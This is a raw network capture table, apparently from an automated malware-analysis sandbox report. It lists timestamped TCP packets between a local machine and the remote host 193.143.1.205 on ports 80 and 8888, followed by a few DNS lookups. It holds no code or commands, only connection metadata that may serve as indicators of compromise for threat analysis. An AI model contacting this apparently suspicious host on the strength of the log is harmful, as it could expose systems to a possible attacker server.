Jan 10, 2025 20:17:55.965224981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965257883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965269089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965274096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965320110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965334892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965346098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965356112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965390921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965392113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965401888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965415001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965420961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965423107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965466022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965483904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965493917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965503931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965514898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965527058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965591908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965611935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965629101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965639114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965648890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965658903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965662956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965671062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965696096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965732098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965734005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965742111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965759993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965770006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965780973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965791941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965804100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965812922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965847015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965913057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965924025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965951920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965953112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965962887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965974092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965987921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966028929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966042995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966053963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966063976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966129065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966144085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966154099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966165066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966175079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966185093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966195107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966204882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966216087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.966376066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966376066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966376066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.966376066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.975729942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975742102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975754023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975770950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975780964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975790977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.975802898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.975858927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.976007938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976018906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976030111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976039886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976049900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.976051092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976078987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.976109982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.976918936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976949930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976958990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976969004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976984978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.976988077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.977011919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.977013111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.977056980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.980568886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.980581045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.980623960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.980633974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.980640888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.980644941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.980670929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.020611048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.078284025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083374023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083394051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083405018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083415031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083425999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083431005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083436012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083441019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083446980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083456039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083463907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083472967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083482981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083493948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083498955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083517075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083528042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083537102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083538055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083548069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083558083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083565950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083569050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083575010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083584070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083589077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083589077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083595037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083600998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083606005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083611012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083620071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083623886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083630085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083640099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083652020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083655119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083661079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083672047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083681107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083682060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083692074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083702087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083704948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083729029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083851099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083863020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083878994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083889008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083899021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083909035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083913088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083919048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083929062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083939075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083947897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083949089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083959103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083969116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083971024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083978891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083988905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.083997011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.083998919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084008932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084022045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084043026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084255934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084383965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084393978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084404945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084414959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084420919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084424973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084434986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084443092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084445000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084455013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084467888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084508896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084508896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084532022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084547043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084556103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084566116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084570885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084575891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084578991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084580898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084587097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084593058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084598064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084603071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084609032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084614038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084680080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084686995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084690094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084701061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084712029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084721088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084727049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084732056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084742069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084752083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084753990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084762096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084773064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084775925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084783077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084793091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.084794998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.084820032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085241079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085257053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085268021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085277081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085278034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085289001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085299015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085299969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085309982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085319042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085329056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085336924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085339069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085350037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085360050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085366964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085370064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085380077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085388899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085390091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085400105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085410118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085412025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085434914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085453033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085549116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085643053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085652113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085663080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085673094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085674047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085684061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085695028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.085699081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.085732937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.113529921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113590002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.113667965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113684893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113694906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113706112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113714933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113718033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.113725901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113737106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113745928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113756895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113766909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.113770008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113780975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113790989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113794088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.113801956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.113820076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123521090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123532057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123543978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123593092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123644114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123652935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123663902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123673916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123683929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123694897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123697042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123704910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123716116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123725891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123733997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123735905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123745918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123755932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.123763084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.123788118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.146056890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146070957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146087885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146099091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146109104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146119118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146123886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.146130085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146142006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146151066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146209002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.146387100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146486998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146496058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146507025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146517992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146527052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146529913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.146538973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:56.146572113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.192492008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.417498112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:56.727628946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:58.047270060 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:58.052246094 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:58.052339077 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:58.053750992 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:58.058542013 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:58.841974020 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:58.895740986 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:59.058355093 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:20:00.076999903 CET	59739	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:20:00.081850052 CET	53	59739	1.1.1.1	192.168.2.6
Jan 10, 2025 20:20:00.081924915 CET	59739	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:20:00.081962109 CET	59739	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:20:00.086755991 CET	53	59739	1.1.1.1	192.168.2.6
Jan 10, 2025 20:20:00.527148008 CET	53	59739	1.1.1.1	192.168.2.6
Jan 10, 2025 20:20:00.530250072 CET	59739	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:20:00.535198927 CET	53	59739	1.1.1.1	192.168.2.6
Jan 10, 2025 20:20:00.535377979 CET	59739	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:18:05.622667074 CET	50272	53	192.168.2.6	1.1.1.1
Jan 10, 2025 20:20:00.076550961 CET	53	59769	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:18:05.622667074 CET	192.168.2.6	1.1.1.1	0x9c48	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:18:05.630068064 CET	1.1.1.1	192.168.2.6	0x9c48	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:18:06.677692890 CET	1.1.1.1	192.168.2.6	0xec9f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:18:06.677692890 CET	1.1.1.1	192.168.2.6	0xec9f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:08.803828001 CET	1.1.1.1	192.168.2.6	0xf584	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
